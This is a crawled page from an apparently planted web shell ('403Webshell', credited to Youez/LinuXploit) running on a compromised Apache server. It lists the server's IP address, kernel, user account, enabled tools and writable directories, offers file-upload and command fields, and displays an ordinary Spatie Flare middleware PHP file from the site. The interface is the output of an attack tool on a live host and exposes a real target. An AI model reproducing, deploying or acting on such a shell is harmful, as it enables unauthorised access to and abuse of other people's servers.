403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark/vendor/spatie/flare-client-php/src/FlareMiddleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark/vendor/spatie/flare-client-php/src/FlareMiddleware/AddDocumentationLinks.php
<?php

namespace Spatie\FlareClient\FlareMiddleware;

use ArrayObject;
use Closure;
use Spatie\FlareClient\Report;

class AddDocumentationLinks implements FlareMiddleware
{
    protected ArrayObject $documentationLinkResolvers;

    public function __construct(ArrayObject $documentationLinkResolvers)
    {
        $this->documentationLinkResolvers = $documentationLinkResolvers;
    }

    public function handle(Report $report, Closure $next)
    {
        if (! $throwable = $report->getThrowable()) {
            return $next($report);
        }

        $links = $this->getLinks($throwable);

        if (count($links)) {
            $report->addDocumentationLinks($links);
        }

        return $next($report);
    }

    /** @return array<int, string> */
    protected function getLinks(\Throwable $throwable): array
    {
        $allLinks = [];

        foreach ($this->documentationLinkResolvers as $resolver) {
            $resolvedLinks = $resolver($throwable);

            if (is_null($resolvedLinks)) {
                continue;
            }

            if (is_string($resolvedLinks)) {
                $resolvedLinks = [$resolvedLinks];
            }

            foreach ($resolvedLinks as $link) {
                $allLinks[] = $link;
            }
        }

        return array_values(array_unique($allLinks));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit